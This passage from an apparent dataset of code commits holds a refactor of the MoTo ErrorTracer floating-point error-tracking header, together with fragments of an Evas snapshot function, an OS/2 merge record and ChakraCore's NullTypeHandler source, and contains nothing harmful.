evas_object_image_data_set( evas_obj.get(), m_buff.get() );\n\n    evas_object_image_save( evas_obj.get(), path.c_str(), NULL, \"quality=100 compress=9\");\n#else\n#error FIXME\n#endif\n\n    file->setSnapshot( path );\n    m_cb->done( file, Status::Success, data );\n    return true;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>INTEGRATION: CWS os2port02 (1.2.4); FILE MERGED 2007\/10\/08 14:26:44 obr 1.2.4.3: RESYNC: (1.2-1.3); FILE MERGED 2007\/10\/05 13:30:32 ydario 1.2.4.2: Implemented cws sb71 sal init\/deinit sequence to set\/unset exception hooks. 2007\/09\/30 11:54:50 ydario 1.2.4.1: Issue number: i82034 Submitted by: ydario Reviewed by:  ydario Commit of changes for OS\/2 CWS source code integration.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*  MoTo - Motion Toolkit\n    Copyright (c) 2006-2019 Gino van den Bergen, DTECTA\n\n    Source published under the terms of the MIT License. \n    For details please see COPYING file or visit \n    http:\/\/opensource.org\/licenses\/MIT\n*\/\n\n#ifndef MT_ERRORTRACER_HPP\n#define MT_ERRORTRACER_HPP\n\n#ifdef USE_OSTREAM\n#include <ostream>\n#endif\n\n#include \"Scalar.hpp\"\n#include \"ScalarTraits.hpp\"\n\nnamespace mt\n{\n    template <typename T> \n    class ErrorTracer\n    {\n    public:    \n        typedef T Value_type;\n\n        explicit ErrorTracer(T value = T(), T error = T());\n\n        \/\/\/ Floating-point value.\n        T value() const;\n\n        \/\/\/ Estimated error bound.  \n        T error() const;\n\n        \/\/\/ Estimated upper bound for the relative rounding error of this value. The value returned by maxRelativeError() is equal to the value returned by error() times the machine epsilon.\n        T maxRelativeError() const;\n\n        \/\/\/ Number of dirty bits in the significand of this value. The number of least-signinifant bits that are contaminated by rounding. \n        T dirtyBits() const;\n\n        \/\/\/ Implicit cast of floating-point value.\n        operator T() const;\n        \n        ErrorTracer<T>& operator=(T value); \n        ErrorTracer<T>& operator+=(const ErrorTracer& x); \n        ErrorTracer<T>& operator-=(const ErrorTracer& x); \n        ErrorTracer<T>& operator*=(const ErrorTracer& x); \n        ErrorTracer<T>& operator\/=(const ErrorTracer& x); \n        \n    private:\n        T mValue;\n        T mError;\n    };\n\n    template <typename T> ErrorTracer<T> operator-(const ErrorTracer<T>& x);\n    template <typename T> ErrorTracer<T> operator+(const ErrorTracer<T>& x,  const ErrorTracer<T>& y);\n    template <typename T> ErrorTracer<T> operator-(const ErrorTracer<T>& x,  const ErrorTracer<T>& y);\n    template <typename T> ErrorTracer<T> operator*(const ErrorTracer<T>& x,  const ErrorTracer<T>& y);\n    template <typename T> ErrorTracer<T> operator\/(const ErrorTracer<T>& x,  const ErrorTracer<T>& y);\n \n#ifdef USE_OSTREAM\n\n    template <typename CharT, typename Traits, typename T> \n    std::basic_ostream<CharT, Traits>& operator<<(std::basic_ostream<CharT, Traits>& os, const ErrorTracer<T>& x);\n    \n#endif\n\n    template <typename T> ErrorTracer<T> abs(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> acos(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> asin(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> atan(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> atan2(const ErrorTracer<T>& x, const ErrorTracer<T>& y); \n    template <typename T> ErrorTracer<T> cos(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> exp(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> log(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> pow(const ErrorTracer<T>& x, const ErrorTracer<T>& y); \n    template <typename T> ErrorTracer<T> sin(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> sqrt(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> tan(const ErrorTracer<T>& x);\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T>::ErrorTracer(T value, T error) \n        : mValue(value)\n        , mError(error) \n    {}\n\n    template <typename T>\n    FORCEINLINE\n    T ErrorTracer<T>::value() const \n    {\n        return mValue; \n    }\n    \n    template <typename T>\n    FORCEINLINE\n    T ErrorTracer<T>::error() const\n    {  \n        return mError; \n    }\n\n    template <typename T>\n    FORCEINLINE\n    T ErrorTracer<T>::maxRelativeError() const\n    {  \n        T gMachineEpsilon = std::numeric_limits<T>::epsilon() * T(0.5);\n\n        return mError * gMachineEpsilon; \n    }\n\n    template <typename T>\n    FORCEINLINE\n    T ErrorTracer<T>::dirtyBits() const\n    { \n        return log2(mError); \n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T>::operator T() const\n    { \n        return mValue; \n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T>& ErrorTracer<T>::operator=(T value) \n    {\n        mValue = value;\n        mError = T();\n        return *this;\n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T>& ErrorTracer<T>::operator+=(const ErrorTracer<T>& x) \n    {\n        *this = *this + x;\n        return *this;\n    }\n    \n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T>& ErrorTracer<T>::operator-=(const ErrorTracer<T>& x) \n    {\n        *this = *this - x;\n        return *this;\n    }\n    \n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T>& ErrorTracer<T>::operator*=(const ErrorTracer<T>& x) \n    {\n        *this = *this * x;\n        return *this;\n    }\n    \n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T>& ErrorTracer<T>::operator\/=(const ErrorTracer<T>& x) \n    {\n        *this = *this \/ x;\n        return *this;\n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> operator-(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(-x.value(), \n                                    x.error());\n    }\n    \n    template <typename T>\n    FORCEINLINE \n    ErrorTracer<T> operator+(const ErrorTracer<T>& x,  const ErrorTracer<T>& y) \n    {\n        T value = x.value() + y.value();\n        return ErrorTracer<T>(value, \n                                   !iszero(value) ? (abs(x.value()) * x.error() + abs(y.value()) * y.error()) \/ abs(value) + T(1) : T());\n    }\n    \n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> operator-(const ErrorTracer<T>& x, const ErrorTracer<T>& y) \n    {\n        T value = x.value() - y.value();\n        return ErrorTracer<T>(value,\n                                   !iszero(value) ? (abs(x.value()) * x.error() + abs(y.value()) * y.error()) \/ abs(value) + T(1) : T());\n    }\n    \n    template <typename T>\n    FORCEINLINE \n    ErrorTracer<T> operator*(const ErrorTracer<T>& x, const ErrorTracer<T>& y)\n    {\n        return ErrorTracer<T>(x.value() * y.value(), \n                                    x.error() + y.error() + T(1));\n    }\n    \n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> operator\/(const ErrorTracer<T>& x, const ErrorTracer<T>& y) \n    {\n        return ErrorTracer<T>(x.value() \/ y.value(), \n                                    x.error() + y.error() + T(1));\n    }\n    \n#ifdef USE_OSTREAM\n\n    template <typename CharT, typename Traits, typename T> \n    FORCEINLINE \n    std::basic_ostream<CharT, Traits>& operator<<(std::basic_ostream<CharT, Traits>& os, const ErrorTracer<T>& x) \n    {\n        return os << x.value() << '[' << x.error() << ']';\n    }\n    \n#endif\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> abs(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(abs(x.value()), x.error());\n    }\n    \n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> acos(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(acos(x.value()), x.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> asin(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(asin(x.value()), x.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> atan(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(atan(x.value()), x.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE \n    ErrorTracer<T> atan2(const ErrorTracer<T>& x, const ErrorTracer<T>& y) \n    {\n        return ErrorTracer<T>(atan2(x.value(), y.value()), x.error() + y.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> cos(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(cos(x.value()), x.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE \n    ErrorTracer<T> exp(const ErrorTracer<T>& x) \n    {\n        T value = exp(x.value());\n        return ErrorTracer<T>(value, value * x.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE \n    ErrorTracer<T> log(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(log(x.value()), x.error() \/ x.value() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> pow(const ErrorTracer<T>& x, const ErrorTracer<T>& y) \n    {\n        ASSERT(!isnegative(x.value()));\n        T value = pow(x.value(), y.value());\n        return ErrorTracer<T>(value, abs(y.value()) * x.error() + abs(value * log(x.value())) * y.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> sin(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(sin(x.value()), x.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE \n    ErrorTracer<T> sqrt(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(sqrt(x.value()), x.error() * T(0.5) + T(1));\n    }\n    \n    template <typename T>\n    FORCEINLINE \n    ErrorTracer<T> tan(const ErrorTracer<T>& x) \n    {\n        T value = tan(x.value());\n        return ErrorTracer<T>(value, (T(1) + value * value) * x.error() + T(1));\n    }\n\n    template <typename T>\n    struct ScalarTraits<ErrorTracer<T> > \n    {\n        static FORCEINLINE ErrorTracer<T> pi()\n        {\n            return ErrorTracer<T>(ScalarTraits<T>::pi());\n        }\n        \n        static FORCEINLINE ErrorTracer<T> infinity()\n        {\n            return ErrorTracer<T>(ScalarTraits<T>::infinity());\n        }\n\n        static FORCEINLINE ErrorTracer<T> epsilon()\n        {\n            return ErrorTracer<T>(ScalarTraits<T>::epsilon());\n        }\n    };\n}\n\nnamespace std\n{\n    template <typename T>\n    class numeric_limits<mt::ErrorTracer<T> >\n    {\n    public:\n        static mt::ErrorTracer<T> min() { return mt::ErrorTracer<T>(numeric_limits<T>::min()); }\n        static mt::ErrorTracer<T> max() { return mt::ErrorTracer<T>(numeric_limits<T>::max()); }\n        static mt::ErrorTracer<T> epsilon() { return mt::ErrorTracer<T>(numeric_limits<T>::epsilon()); }\n        static mt::ErrorTracer<T> round_error() { return mt::ErrorTracer<T>(numeric_limits<T>::round_error()); }\n        static mt::ErrorTracer<T> infinity() { return mt::ErrorTracer<T>(numeric_limits<T>::infinity()); }\n        static mt::ErrorTracer<T> quiet_NaN() { return mt::ErrorTracer<T>(numeric_limits<T>::quiet_NaN()); }\n        static mt::ErrorTracer<T> signaling_NaN() { return mt::ErrorTracer<T>(numeric_limits<T>::signaling_NaN()); }\n        static mt::ErrorTracer<T> denorm_min() { return mt::ErrorTracer<T>(numeric_limits<T>::denorm_min()); }\n    };\n}\n\n#endif\n<commit_msg>Layout<commit_after>\/*  MoTo - Motion Toolkit\n    Copyright (c) 2006-2019 Gino van den Bergen, DTECTA\n\n    Source published under the terms of the MIT License. \n    For details please see COPYING file or visit \n    http:\/\/opensource.org\/licenses\/MIT\n*\/\n\n#ifndef MT_ERRORTRACER_HPP\n#define MT_ERRORTRACER_HPP\n\n#ifdef USE_OSTREAM\n#include <ostream>\n#endif\n\n#include \"Scalar.hpp\"\n#include \"ScalarTraits.hpp\"\n\nnamespace mt\n{\n    template <typename T> \n    class ErrorTracer\n    {\n    public:    \n        typedef T Value_type;\n\n        explicit ErrorTracer(T value = T(), T error = T());\n\n        \/\/\/ Floating-point value.\n        T value() const;\n\n        \/\/\/ Estimated error bound.  \n        T error() const;\n\n        \/\/\/ Estimated upper bound for the relative rounding error of this value. The value returned by maxRelativeError() is equal to the value returned by error() times the machine epsilon.\n        T maxRelativeError() const;\n\n        \/\/\/ Number of dirty bits in the significand of this value. The number of least-signinifant bits that are contaminated by rounding. \n        T dirtyBits() const;\n\n        \/\/\/ Implicit cast of floating-point value.\n        operator T() const;\n        \n        ErrorTracer<T>& operator=(T value); \n        ErrorTracer<T>& operator+=(const ErrorTracer& x); \n        ErrorTracer<T>& operator-=(const ErrorTracer& x); \n        ErrorTracer<T>& operator*=(const ErrorTracer& x); \n        ErrorTracer<T>& operator\/=(const ErrorTracer& x); \n        \n    private:\n        T mValue;\n        T mError;\n    };\n\n    template <typename T> ErrorTracer<T> operator-(const ErrorTracer<T>& x);\n    template <typename T> ErrorTracer<T> operator+(const ErrorTracer<T>& x,  const ErrorTracer<T>& y);\n    template <typename T> ErrorTracer<T> operator-(const ErrorTracer<T>& x,  const ErrorTracer<T>& y);\n    template <typename T> ErrorTracer<T> operator*(const ErrorTracer<T>& x,  const ErrorTracer<T>& y);\n    template <typename T> ErrorTracer<T> operator\/(const ErrorTracer<T>& x,  const ErrorTracer<T>& y);\n \n#ifdef USE_OSTREAM\n\n    template <typename CharT, typename Traits, typename T> \n    std::basic_ostream<CharT, Traits>& operator<<(std::basic_ostream<CharT, Traits>& os, const ErrorTracer<T>& x);\n    \n#endif\n\n    template <typename T> ErrorTracer<T> abs(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> acos(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> asin(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> atan(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> atan2(const ErrorTracer<T>& x, const ErrorTracer<T>& y); \n    template <typename T> ErrorTracer<T> cos(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> exp(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> log(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> pow(const ErrorTracer<T>& x, const ErrorTracer<T>& y); \n    template <typename T> ErrorTracer<T> sin(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> sqrt(const ErrorTracer<T>& x); \n    template <typename T> ErrorTracer<T> tan(const ErrorTracer<T>& x);\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T>::ErrorTracer(T value, T error) \n        : mValue(value)\n        , mError(error) \n    {}\n\n    template <typename T>\n    FORCEINLINE\n    T ErrorTracer<T>::value() const \n    {\n        return mValue; \n    }\n    \n    template <typename T>\n    FORCEINLINE\n    T ErrorTracer<T>::error() const\n    {  \n        return mError; \n    }\n\n    template <typename T>\n    FORCEINLINE\n    T ErrorTracer<T>::maxRelativeError() const\n    {  \n        T gMachineEpsilon = std::numeric_limits<T>::epsilon() * T(0.5);\n\n        return mError * gMachineEpsilon; \n    }\n\n    template <typename T>\n    FORCEINLINE\n    T ErrorTracer<T>::dirtyBits() const\n    { \n        return log2(mError); \n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T>::operator T() const\n    { \n        return mValue; \n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T>& ErrorTracer<T>::operator=(T value) \n    {\n        mValue = value;\n        mError = T();\n        return *this;\n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T>& ErrorTracer<T>::operator+=(const ErrorTracer<T>& x) \n    {\n        *this = *this + x;\n        return *this;\n    }\n    \n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T>& ErrorTracer<T>::operator-=(const ErrorTracer<T>& x) \n    {\n        *this = *this - x;\n        return *this;\n    }\n    \n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T>& ErrorTracer<T>::operator*=(const ErrorTracer<T>& x) \n    {\n        *this = *this * x;\n        return *this;\n    }\n    \n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T>& ErrorTracer<T>::operator\/=(const ErrorTracer<T>& x) \n    {\n        *this = *this \/ x;\n        return *this;\n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> operator-(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(-x.value(), \n                              x.error());\n    }\n    \n    template <typename T>\n    FORCEINLINE \n    ErrorTracer<T> operator+(const ErrorTracer<T>& x,  const ErrorTracer<T>& y) \n    {\n        T value = x.value() + y.value();\n        T error = abs(x.value()) * x.error() + abs(y.value()) * y.error();\n        return ErrorTracer<T>(value, \n                              !iszero(value) ? error \/ abs(value) + T(1) : T());\n    }\n    \n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> operator-(const ErrorTracer<T>& x, const ErrorTracer<T>& y) \n    {\n        T value = x.value() - y.value();\n        T error = abs(x.value()) * x.error() + abs(y.value()) * y.error();\n        return ErrorTracer<T>(value,\n                              !iszero(value) ? error \/ abs(value) + T(1) : T());\n    }\n    \n    template <typename T>\n    FORCEINLINE \n    ErrorTracer<T> operator*(const ErrorTracer<T>& x, const ErrorTracer<T>& y)\n    {\n        return ErrorTracer<T>(x.value() * y.value(), \n                              x.error() + y.error() + T(1));\n    }\n    \n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> operator\/(const ErrorTracer<T>& x, const ErrorTracer<T>& y) \n    {\n        return ErrorTracer<T>(x.value() \/ y.value(), \n                              x.error() + y.error() + T(1));\n    }\n    \n#ifdef USE_OSTREAM\n\n    template <typename CharT, typename Traits, typename T> \n    FORCEINLINE \n    std::basic_ostream<CharT, Traits>& operator<<(std::basic_ostream<CharT, Traits>& os, const ErrorTracer<T>& x) \n    {\n        return os << x.value() << '[' << x.error() << ']';\n    }\n    \n#endif\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> abs(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(abs(x.value()), x.error());\n    }\n    \n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> acos(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(acos(x.value()), x.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> asin(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(asin(x.value()), x.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> atan(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(atan(x.value()), x.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE \n    ErrorTracer<T> atan2(const ErrorTracer<T>& x, const ErrorTracer<T>& y) \n    {\n        return ErrorTracer<T>(atan2(x.value(), y.value()), x.error() + y.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> cos(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(cos(x.value()), x.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE \n    ErrorTracer<T> exp(const ErrorTracer<T>& x) \n    {\n        T value = exp(x.value());\n        return ErrorTracer<T>(value, value * x.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE \n    ErrorTracer<T> log(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(log(x.value()), x.error() \/ x.value() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> pow(const ErrorTracer<T>& x, const ErrorTracer<T>& y) \n    {\n        ASSERT(!isnegative(x.value()));\n        T value = pow(x.value(), y.value());\n        return ErrorTracer<T>(value, abs(y.value()) * x.error() + abs(value * log(x.value())) * y.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE\n    ErrorTracer<T> sin(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(sin(x.value()), x.error() + T(1));\n    }\n\n    template <typename T>\n    FORCEINLINE \n    ErrorTracer<T> sqrt(const ErrorTracer<T>& x) \n    {\n        return ErrorTracer<T>(sqrt(x.value()), x.error() * T(0.5) + T(1));\n    }\n    \n    template <typename T>\n    FORCEINLINE \n    ErrorTracer<T> tan(const ErrorTracer<T>& x) \n    {\n        T value = tan(x.value());\n        return ErrorTracer<T>(value, (T(1) + value * value) * x.error() + T(1));\n    }\n\n    template <typename T>\n    struct ScalarTraits<ErrorTracer<T> > \n    {\n        static FORCEINLINE ErrorTracer<T> pi()\n        {\n            return ErrorTracer<T>(ScalarTraits<T>::pi());\n        }\n        \n        static FORCEINLINE ErrorTracer<T> infinity()\n        {\n            return ErrorTracer<T>(ScalarTraits<T>::infinity());\n        }\n\n        static FORCEINLINE ErrorTracer<T> epsilon()\n        {\n            return ErrorTracer<T>(ScalarTraits<T>::epsilon());\n        }\n    };\n}\n\nnamespace std\n{\n    template <typename T>\n    class numeric_limits<mt::ErrorTracer<T> >\n    {\n    public:\n        static mt::ErrorTracer<T> min() { return mt::ErrorTracer<T>(numeric_limits<T>::min()); }\n        static mt::ErrorTracer<T> max() { return mt::ErrorTracer<T>(numeric_limits<T>::max()); }\n        static mt::ErrorTracer<T> epsilon() { return mt::ErrorTracer<T>(numeric_limits<T>::epsilon()); }\n        static mt::ErrorTracer<T> round_error() { return mt::ErrorTracer<T>(numeric_limits<T>::round_error()); }\n        static mt::ErrorTracer<T> infinity() { return mt::ErrorTracer<T>(numeric_limits<T>::infinity()); }\n        static mt::ErrorTracer<T> quiet_NaN() { return mt::ErrorTracer<T>(numeric_limits<T>::quiet_NaN()); }\n        static mt::ErrorTracer<T> signaling_NaN() { return mt::ErrorTracer<T>(numeric_limits<T>::signaling_NaN()); }\n        static mt::ErrorTracer<T> denorm_min() { return mt::ErrorTracer<T>(numeric_limits<T>::denorm_min()); }\n    };\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/-------------------------------------------------------------------------------------------------------\n\/\/ Copyright (C) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.\n\/\/-------------------------------------------------------------------------------------------------------\n#include \"RuntimeTypePch.h\"\n\n#include \"Types\/NullTypeHandler.h\"\n#include \"Types\/SimpleTypeHandler.h\"\n\nnamespace Js\n{\n    int NullTypeHandlerBase::GetPropertyCount()\n    {\n        return 0;\n    }\n\n\n    PropertyId NullTypeHandlerBase::GetPropertyId(ScriptContext* scriptContext, PropertyIndex index)\n    {\n        return Constants::NoProperty;\n    }\n\n    PropertyId NullTypeHandlerBase::GetPropertyId(ScriptContext* scriptContext, BigPropertyIndex index)\n    {\n        return Constants::NoProperty;\n    }\n\n\n    BOOL NullTypeHandlerBase::FindNextProperty(ScriptContext* scriptContext, PropertyIndex& index, JavascriptString** propertyString, PropertyId* propertyId,\n        PropertyAttributes* attributes, Type* type, DynamicType *typeToEnumerate, bool requireEnumerable, bool enumSymbols)\n    {\n        Assert(propertyString);\n        Assert(propertyId);\n        Assert(type);\n        return FALSE;\n    }\n\n\n    PropertyIndex NullTypeHandlerBase::GetPropertyIndex(PropertyRecord const* propertyRecord)\n    {\n        return Constants::NoSlot;\n    }\n\n    bool NullTypeHandlerBase::GetPropertyEquivalenceInfo(PropertyRecord const* propertyRecord, PropertyEquivalenceInfo& info)\n    {\n        info.slotIndex = Constants::NoSlot;\n        info.isAuxSlot = false;\n        info.isWritable = false;\n        return false;\n    }\n\n    bool NullTypeHandlerBase::IsObjTypeSpecEquivalent(const Type* type, const TypeEquivalenceRecord& record, uint& failedPropertyIndex)\n    {\n        uint propertyCount = record.propertyCount;\n        EquivalentPropertyEntry* properties = record.properties;\n        for (uint pi = 0; pi < propertyCount; pi++)\n        {\n            const EquivalentPropertyEntry* refInfo = &properties[pi];\n            if (!this->NullTypeHandlerBase::IsObjTypeSpecEquivalent(type, refInfo))\n            {\n                return false;\n            }\n        }\n        return true;\n    }\n\n    bool NullTypeHandlerBase::IsObjTypeSpecEquivalent(const Type* type, const EquivalentPropertyEntry *entry)\n    {\n        return entry->slotIndex == Constants::NoSlot && !entry->mustBeWritable;\n    }\n\n    BOOL NullTypeHandlerBase::HasProperty(DynamicObject* instance, PropertyId propertyId, __out_opt bool *noRedecl)\n    {\n        \/\/ Check numeric propertyId only if objectArray is available\n        uint32 indexVal;\n        ScriptContext* scriptContext = instance->GetScriptContext();\n\n        if (noRedecl != nullptr)\n        {\n            *noRedecl = false;\n        }\n\n        if (instance->HasObjectArray() && scriptContext->IsNumericPropertyId(propertyId, &indexVal))\n        {\n            return DynamicTypeHandler::HasItem(instance, indexVal);\n        }\n\n        return false;\n    }\n\n\n    BOOL NullTypeHandlerBase::HasProperty(DynamicObject* instance, JavascriptString* propertyNameString)\n    {\n        PropertyRecord const* propertyRecord;\n        instance->GetScriptContext()->GetOrAddPropertyRecord(propertyNameString->GetString(), propertyNameString->GetLength(), &propertyRecord);\n        return NullTypeHandlerBase::HasProperty(instance, propertyRecord->GetPropertyId());\n    }\n\n\n    BOOL NullTypeHandlerBase::GetProperty(DynamicObject* instance, Var originalInstance, PropertyId propertyId, Var* value, PropertyValueInfo* info, ScriptContext* requestContext)\n    {\n        \/\/ Check numeric propertyId only if objectArray is available\n        uint32 indexVal;\n        ScriptContext* scriptContext = instance->GetScriptContext();\n        if (instance->HasObjectArray() && scriptContext->IsNumericPropertyId(propertyId, &indexVal))\n        {\n            return DynamicTypeHandler::GetItem(instance, originalInstance, indexVal, value, requestContext);\n        }\n\n        *value = requestContext->GetMissingPropertyResult();\n        return false;\n    }\n\n\n    BOOL NullTypeHandlerBase::GetProperty(DynamicObject* instance, Var originalInstance, JavascriptString* propertyNameString, Var* value, PropertyValueInfo* info, ScriptContext* requestContext)\n    {\n        PropertyRecord const* propertyRecord;\n        instance->GetScriptContext()->GetOrAddPropertyRecord(propertyNameString->GetString(), propertyNameString->GetLength(), &propertyRecord);\n        return NullTypeHandlerBase::GetProperty(instance, originalInstance, propertyRecord->GetPropertyId(), value, info, requestContext);\n    }\n\n\n    BOOL NullTypeHandlerBase::SetProperty(DynamicObject* instance, PropertyId propertyId, Var value, PropertyOperationFlags flags, PropertyValueInfo* info)\n    {\n        return ConvertToSimpleType(instance)->SetProperty(instance, propertyId, value, flags, info);\n    }\n\n\n    BOOL NullTypeHandlerBase::SetProperty(DynamicObject* instance, JavascriptString* propertyNameString, Var value, PropertyOperationFlags flags, PropertyValueInfo* info)\n    {\n        return ConvertToSimpleType(instance)->SetProperty(instance, propertyNameString, value, flags, info);\n    }\n\n    BOOL NullTypeHandlerBase::AddProperty(DynamicObject* instance, PropertyId propertyId, Var value, PropertyAttributes attributes, PropertyValueInfo* info, PropertyOperationFlags flags, SideEffects possibleSideEffects)\n    {\n        if (this->isPrototype && (ChangeTypeOnProto() || (GetIsShared() && IsolatePrototypes())))\n        {\n            ScriptContext* scriptContext = instance->GetScriptContext();\n            return ConvertToSimpleDictionaryType(instance)->AddProperty(instance, scriptContext->GetPropertyName(propertyId), value, attributes, info, flags, possibleSideEffects);\n        }\n        else\n        {\n            return ConvertToSimpleType(instance)->AddProperty(instance, propertyId, value, attributes, info, flags, possibleSideEffects);\n        }\n    }\n\n    BOOL NullTypeHandlerBase::DeleteProperty(DynamicObject* instance, PropertyId propertyId, PropertyOperationFlags flags)\n    {\n        \/\/ Check numeric propertyId only if objectArray is available\n        ScriptContext* scriptContext = instance->GetScriptContext();\n        uint32 indexVal;\n        if (instance->HasObjectArray() && scriptContext->IsNumericPropertyId(propertyId, &indexVal))\n        {\n            return DynamicTypeHandler::DeleteItem(instance, indexVal, flags);\n        }\n\n        return true;\n    }\n\n\n    BOOL NullTypeHandlerBase::IsEnumerable(DynamicObject* instance, PropertyId propertyId)\n    {\n        return true;\n    }\n\n\n    BOOL NullTypeHandlerBase::IsWritable(DynamicObject* instance, PropertyId propertyId)\n    {\n        return true;\n    }\n\n\n    BOOL NullTypeHandlerBase::IsConfigurable(DynamicObject* instance, PropertyId propertyId)\n    {\n        return true;\n    }\n\n\n    BOOL NullTypeHandlerBase::SetEnumerable(DynamicObject* instance, PropertyId propertyId, BOOL value)\n    {\n        return false;\n    }\n\n\n    BOOL NullTypeHandlerBase::SetWritable(DynamicObject* instance, PropertyId propertyId, BOOL value)\n    {\n        return false;\n    }\n\n\n    BOOL NullTypeHandlerBase::SetConfigurable(DynamicObject* instance, PropertyId propertyId, BOOL value)\n    {\n        return false;\n    }\n\n\n    BOOL NullTypeHandlerBase::SetAccessors(DynamicObject* instance, PropertyId propertyId, Var getter, Var setter, PropertyOperationFlags flags)\n    {\n        return ConvertToDictionaryType(instance)->SetAccessors(instance, propertyId, getter, setter, flags);\n    }\n\n\n    BOOL NullTypeHandlerBase::PreventExtensions(DynamicObject* instance)\n    {\n        return ConvertToDictionaryType(instance)->PreventExtensions(instance);\n    }\n\n\n    BOOL NullTypeHandlerBase::Seal(DynamicObject* instance)\n    {\n        return ConvertToDictionaryType(instance)->Seal(instance);\n    }\n\n\n    BOOL NullTypeHandlerBase::FreezeImpl(DynamicObject* instance, bool isConvertedType)\n    {\n        return ConvertToDictionaryType(instance)->Freeze(instance, true);\n    }\n\n    template <typename T>\n    T* NullTypeHandlerBase::ConvertToTypeHandler(DynamicObject* instance)\n    {\n        ScriptContext* scriptContext = instance->GetScriptContext();\n        Recycler* recycler = scriptContext->GetRecycler();\n\n        T * newTypeHandler = RecyclerNew(recycler, T, recycler);\n        Assert((newTypeHandler->GetFlags() & IsPrototypeFlag) == 0);\n        \/\/ EnsureSlots before updating the type handler and instance, as EnsureSlots allocates and may throw.\n        instance->EnsureSlots(0, newTypeHandler->GetSlotCapacity(), scriptContext, newTypeHandler);\n        Assert(((this->GetFlags() & IsPrototypeFlag) != 0) == this->isPrototype);\n        newTypeHandler->SetFlags(IsPrototypeFlag, this->GetFlags());\n        newTypeHandler->SetPropertyTypes(PropertyTypesWritableDataOnly | PropertyTypesWritableDataOnlyDetection | PropertyTypesInlineSlotCapacityLocked, 